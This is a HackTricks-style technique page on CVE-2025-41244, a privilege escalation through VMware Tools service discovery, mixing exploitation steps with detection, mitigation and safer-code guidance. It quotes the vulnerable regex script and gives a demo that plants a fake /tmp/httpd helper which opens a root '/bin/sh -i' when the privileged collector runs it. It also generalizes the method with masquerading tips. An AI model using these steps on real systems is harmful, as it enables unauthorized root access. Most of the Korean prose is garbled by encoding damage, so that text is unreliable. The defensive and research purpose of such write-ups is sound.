VMware Tools ์๋น์ค ๊ฒ์ LPE (CWE-426) - regex ๊ธฐ๋ฐ ๋ฐ์ด๋๋ฆฌ ๊ฒ์ ์ทจ์ฝ์ (CVE-2025-41244)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์ด ๊ธฐ๋ฒ์ ์คํ ์ค์ธ ํ๋ก์ธ์ค์ ๋ช ๋ น์ค์ ํ์ฑํ์ฌ ์๋น์ค ๋ฒ์ ์ ์ถ๋ก ํ ๋ค ํ๋ณด ๋ฐ์ด๋๋ฆฌ๋ฅผ โversionโ ํ๋๊ทธ๋ก ์คํํ๋ regex ๊ธฐ๋ฐ์ service discovery ํ์ดํ๋ผ์ธ์ ์ ์ฉํฉ๋๋ค. ํ์ฉ์ ์ธ ํจํด์ด /tmp/httpd ๊ฐ์ ์ ๋ขฐํ ์ ์๋ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ๊ฒฝ๋ก๋ฅผ ํ์ฉํ๋ฉด, ๊ถํ ์๋ ์์ง ํ๋ก์ธ์ค๊ฐ ์ ๋ขฐ๋์ง ์์ ์์น์ ์์ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์คํํ์ฌ ๋ก์ปฌ ๊ถํ ์์น์ด ๋ฐ์ํฉ๋๋ค. NVISO๋ ์ด๋ฅผ VMware Tools/Aria Operations Service Discovery์์ CVE-2025-41244๋ก ๋ฌธ์ํํ์ต๋๋ค.
- Impact: Local privilege escalation to root (or to the privileged discovery account)
- Root cause: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines
- Affected: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)
How VMware service discovery works (high level)
- Credential-based (legacy): Aria๊ฐ ๊ตฌ์ฑ๋ ๊ถํ ์๋ ์๊ฒฉ์ฆ๋ช ์ ์ฌ์ฉํด VMware Tools๋ฅผ ํตํด ๊ฒ์คํธ ๋ด๋ถ์์ discovery ์คํฌ๋ฆฝํธ๋ฅผ ์คํํฉ๋๋ค.
- Credential-less (modern): Discovery ๋ก์ง์ด ์ด๋ฏธ ๊ฒ์คํธ ๋ด์์ ๊ถํ์ ๊ฐ์ง VMware Tools ๋ด์์ ์คํ๋ฉ๋๋ค.
๋ ๋ชจ๋ ๋ชจ๋ ๊ถ๊ทน์ ์ผ๋ก ๋ฆฌ์ค๋ ์์ผ์ด ์๋ ํ๋ก์ธ์ค๋ฅผ ์ค์บํ๊ณ , ์ ๊ท์์ผ๋ก ์ผ์นํ๋ ๋ช ๋ น ๊ฒฝ๋ก๋ฅผ ์ถ์ถํ ๋ค ์ฒซ ๋ฒ์งธ argv ํ ํฐ์ ๋ฒ์ ํ๋๊ทธ์ ํจ๊ป ์คํํ๋ ์ ธ ๋ก์ง์ ์คํํฉ๋๋ค.
Root cause and vulnerable pattern (open-vm-tools)
open-vm-tools์์ serviceDiscovery ํ๋ฌ๊ทธ์ธ ์คํฌ๋ฆฝํธ get-versions.sh๋ ๋์ ์ ๊ท์์ ์ฌ์ฉํด ํ๋ณด ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋งค์นญํ๊ณ , trusted-path ๊ฒ์ฆ ์์ด ์ฒซ ๋ฒ์งธ ํ ํฐ์ ์คํํฉ๋๋ค:
get_version() {
PATTERN=$1
VERSION_OPTION=$2
for p in $space_separated_pids
do
COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
[ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]*}" $VERSION_OPTION 2>&1)" VERSIONEND
done
}
์ด๋ \S (๊ณต๋ฐฑ์ด ์๋ ๋ฌธ์)๋ฅผ ํฌํจํ ๊ด๋ํ ํจํด์ผ๋ก ํธ์ถ๋์ด ์ฌ์ฉ์ ์ฐ๊ธฐ ๊ฐ๋ฅํ ์์น์ ์๋ ๋น์์คํ ๊ฒฝ๋ก์ ์ฝ๊ฒ ๋งค์น๋ฉ๋๋ค:
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
get_version "/usr/(bin|sbin)/apache\S*" -v
get_version "/\S+/mysqld($|\s)" -V
get_version "\.?/\S*nginx($|\s)" -v
get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
get_version "/\S+/dataserver($|\s)" -v
- ์ถ์ถ์ grep -Eo๋ฅผ ์ฌ์ฉํ๋ฉฐ ์ฒซ ํ ํฐ์ ์ทจํจ: ${COMMAND%%[[:space:]]*}
- ์ ๋ขฐ๋ ์์คํ ๊ฒฝ๋ก์ ๋ํ whitelist/allowlist๊ฐ ์์; ์ผ์นํ๋ ์ด๋ฆ์ ๋ฐ๊ฒฌ๋ listener๋ -v/โversion์ผ๋ก ์คํ๋จ
This creates an untrusted search path execution primitive: arbitrary binaries located in world-writable directories (e.g., /tmp/httpd) get executed by a privileged component.
Exploitation (both credential-less and credential-based modes)
Preconditions
- ๊ฒ์คํธ์์ listening socket์ ์ฌ๋ unprivileged ํ๋ก์ธ์ค๋ฅผ ์คํํ ์ ์์ด์ผ ํจ.
- discovery job์ด ํ์ฑํ๋์ด ์ฃผ๊ธฐ์ ์ผ๋ก ์คํ๋์ด์ผ ํจ (๊ณผ๊ฑฐ์๋ ์ฝ 5๋ถ).
Steps
- ํ์ฉ์ ์ธ regex ์ค ํ๋์ ์ผ์นํ๋ ๊ฒฝ๋ก์ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์คํ ์ด์ง(๋ฐฐ์น), ์: /tmp/httpd ๋๋ ./nginx
- ์ ๊ถํ ์ฌ์ฉ์๋ก ์คํํ๊ณ ์ด๋ค listening socket์ด๋ผ๋ ์ด๋๋ก ํ์ธ
- discovery cycle์ ๊ธฐ๋ค๋ ค๋ผ; privileged collector๊ฐ ์๋์ผ๋ก ์คํํจ: /tmp/httpd -v (๋๋ ์ ์ฌ), ๋น์ ์ ํ๋ก๊ทธ๋จ์ root๋ก ์คํ
Minimal demo (using NVISOโs approach)
# Build any small helper that:
# - default mode: opens a dummy TCP listener
# - when called with -v/--version: performs the privileged action (e.g., connect to an abstract UNIX socket and spawn /bin/sh -i)
# Example staging and trigger
cp your_helper /tmp/httpd
chmod +x /tmp/httpd
/tmp/httpd # run as low-priv user and wait for the cycle
# After the next cycle, expect a root shell or your privileged action
์ผ๋ฐ์ ์ธ ํ๋ก์ธ์ค ๊ณ๋ณด
- Credential-based: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-โฆ/script_โฆsh -> /tmp/httpd -v -> /bin/sh -i
- Credential-less: /bin/sh โฆ/get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
์ํฐํฉํธ (์๊ฒฉ ์ฆ๋ช ๊ธฐ๋ฐ) /tmp/VMware-SDMP-Scripts-{UUID}/ ์๋์์ ๋ณต๊ตฌ๋ SDMP ๋ํผ ์คํฌ๋ฆฝํธ๋ ์ ์ฑ ๊ฒฝ๋ก๋ฅผ ์ง์ ์คํํ๋ ๊ฒ์ ๋ณด์ฌ์ค ์ ์์ต๋๋ค:
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr"
๊ธฐ๋ฒ ์ผ๋ฐํ: regex-driven discovery abuse (portable pattern)
๋ง์ ์์ด์ ํธ์ ๋ชจ๋ํฐ๋ง ์ค์ํธ๋ ๋ฒ์ /์๋น์ค ๊ฒ์์ ๋ค์ ๋ฐฉ์์ผ๋ก ๊ตฌํํฉ๋๋ค:
- ๋ฆฌ์ค๋ ์์ผ์ ๊ฐ์ง ํ๋ก์ธ์ค ์ด๊ฑฐ
- argv/command lines๋ฅผ ํ์ฉ์ ์ธ regex๋ก Grepping(์: \S๋ฅผ ํฌํจํ๋ ํจํด)
- ์ผ์นํ ๊ฒฝ๋ก๋ฅผ -v, โversion, -V, -h ๊ฐ์ ๋ฌดํดํ ํ๋๊ทธ๋ก ์คํ
๋ง์ฝ regex๊ฐ ์ ๋ขฐํ ์ ์๋ ๊ฒฝ๋ก๋ฅผ ํ์ฉํ๊ณ ๊ทธ ๊ฒฝ๋ก๊ฐ ๊ถํ ์๋ ์ปจํ ์คํธ์์ ์คํ๋๋ฉด, CWE-426 Untrusted Search Path execution์ด ๋ฐ์ํฉ๋๋ค.
์ ์ฉ ๋ฐฉ๋ฒ
- ๋ฐ์ด๋๋ฆฌ ์ด๋ฆ์ regex๊ฐ ๋งค์นญํ ๊ฐ๋ฅ์ฑ์ด ๋์ ์ผ๋ฐ์ ์ธ ๋ฐ๋ชฌ ์ด๋ฆ์ฒ๋ผ ์ง์ : httpd, nginx, mysqld, dataserver
- ์ฐ๊ธฐ ๊ฐ๋ฅํ ๋๋ ํ ๋ฆฌ์ ๋ฐฐ์น: /tmp/httpd, ./nginx
- regex์ ๋งค์นญ๋๊ณ ์ด๊ฑฐ๋๋๋ก ์์์ ํฌํธ๋ฅผ ์คํํ๋๋ก ๋ณด์ฅ
- ์ค์ผ์ค๋ ์์ง๊ธฐ๋ฅผ ๊ธฐ๋ค๋ฆฌ๋ฉด ์๋์ผ๋ก ๊ถํ ์๋
-v ํธ์ถ์ ์ป์
Masquerading note: This aligns with MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) to increase match probability and stealth.
์ฌ์ฌ์ฉ ๊ฐ๋ฅํ ๊ถํ ์๋ I/O ๋ฆด๋ ์ด ๊ธฐ๋ฒ
- ํฌํผ๋ฅผ ์์ฑํ ๋ ๊ถํ ์๋ ํธ์ถ(-v/โversion) ์ ์๋ ค์ง rendezvous(์: @cve ๊ฐ์ Linux abstract UNIX socket)์ ์ฐ๊ฒฐํ๊ณ stdio๋ฅผ /bin/sh -i๋ก ๋ธ๋ฆฌ์งํ๋๋ก ๋ง๋์ธ์. ์ด๋ ๊ฒ ํ๋ฉด ๋์คํฌ์ ๋จ๋ ์ํฐํฉํธ๋ฅผ ํผํ ์ ์๊ณ ๋์ผํ ๋ฐ์ด๋๋ฆฌ๊ฐ ํ๋๊ทธ์ ํจ๊ป ๋ค์ ํธ์ถ๋๋ ๋ง์ ํ๊ฒฝ์์ ๋์ํฉ๋๋ค.
Detection and DFIR guidance
ํํ ์ฟผ๋ฆฌ
- vmtoolsd ๋๋ get-versions.sh์ ํ์น ์์ ์์ ํ๋ก์ธ์ค ์: /tmp/httpd, ./nginx, /tmp/mysqld
- discovery scripts์ ์ํด ์คํ๋ ๋น์์คํ ์ ๋ ๊ฒฝ๋ก( ${COMMAND%%โฆ} ํ์ฅ ๋ด์ ๊ณต๋ฐฑ์ ์ฐพ์๋ณด์ธ์ )
- ps -ef โforest๋ก ์กฐ์ ํธ๋ฆฌ ์๊ฐํ: vmtoolsd -> get-versions.sh ->
Aria SDMP(credential-based)์์
- /tmp/VMware-SDMP-Scripts-{UUID}/๋ฅผ ๊ฒ์ฌํ์ฌ ์ผ์์ ์คํฌ๋ฆฝํธ์ stdout/stderr ์ํฐํฉํธ์์ ๊ณต๊ฒฉ์ ๊ฒฝ๋ก ์คํ ํ์ ์ ํ์ธ
์ ์ฑ /telemetry
- ๊ถํ ์๋ ์์ง๊ธฐ๊ฐ ๋น์์คํ ์ ๋์ฌ์์ ์คํ๋๋ฉด ๊ฒฝ๋ณด: ^/(tmp|home|var/tmp|dev/shm)/
- get-versions.sh ๋ฐ VMware Tools plugins์ ๋ํ ํ์ผ ๋ฌด๊ฒฐ์ฑ ๋ชจ๋ํฐ๋ง
Mitigations
- Patch: CVE-2025-41244(Tools ๋ฐ Aria Operations SDMP)์ ๋ํ Broadcom/VMware ์ ๋ฐ์ดํธ ์ ์ฉ
- ์๊ฒฉ ์ฆ๋ช ์์ด ์คํ๋๋ discovery๋ฅผ ๊ฐ๋ฅํ๋ฉด ๋นํ์ฑํํ๊ฑฐ๋ ์ ํ
- ์ ๋ขฐ๋ ๊ฒฝ๋ก ๊ฒ์ฆ: ์คํ์ ํ์ฉ๋ ๋๋ ํ ๋ฆฌ๋ก ์ ํ(/usr/sbin, /usr/bin, /sbin, /bin)ํ๊ณ ์ ํํ ์๋ ค์ง ๋ฐ์ด๋๋ฆฌ๋ง ํ์ฉ
- \S ๊ฐ์ ํ์ฉ์ ์ธ regex ํํผ; ์ต์ปค๋(explicit) ์ ๋ ๊ฒฝ๋ก์ ์ ํํ ๋ช ๋ น ์ด๋ฆ์ ์ ํธ
- discovery ํฌํผ์ ๊ถํ์ ๊ฐ๋ฅํ ํ ๋ฎ์ถ๊ณ , ์ํฅ ๊ฐ์๋ฅผ ์ํด sandbox(seccomp/AppArmor) ์ ์ฉ
- vmtoolsd/get-versions.sh๊ฐ ๋น์์คํ ๊ฒฝ๋ก๋ฅผ ์คํํ๋์ง ๋ชจ๋ํฐ๋ง ๋ฐ ๊ฒฝ๋ณด
Notes for defenders and implementers
๋ ์์ ํ ๋งค์นญ ๋ฐ ์คํ ํจํด
# Bad: permissive regex and blind exec
COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)")
[ -n "$COMMAND" ] && "${COMMAND%%[[:space:]]*}" -v
# Good: strict allowlist + path checks
candidate=$(get_command_line "$pid" | awk '{print $1}')
case "$candidate" in
/usr/sbin/nginx|/usr/sbin/httpd|/usr/sbin/apache2)
"$candidate" -v 2>&1 ;;
*)
: # ignore non-allowlisted paths
;;
esac
์ฐธ๊ณ ์๋ฃ
- NVISO โ ์ด๋ฆ๋ง ๋๋ฉด, VMware๊ฐ ๊ถํ์ ์์น์ํต๋๋ค (CVE-2025-41244)
- Broadcom์ CVE-2025-41244 ๊ถ๊ณ
- open-vm-tools โ serviceDiscovery/get-versions.sh (stable-13.0.0)
- MITRE ATT&CK T1036.005 โ Match Legitimate Name or Location
- CWE-426: Untrusted Search Path
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


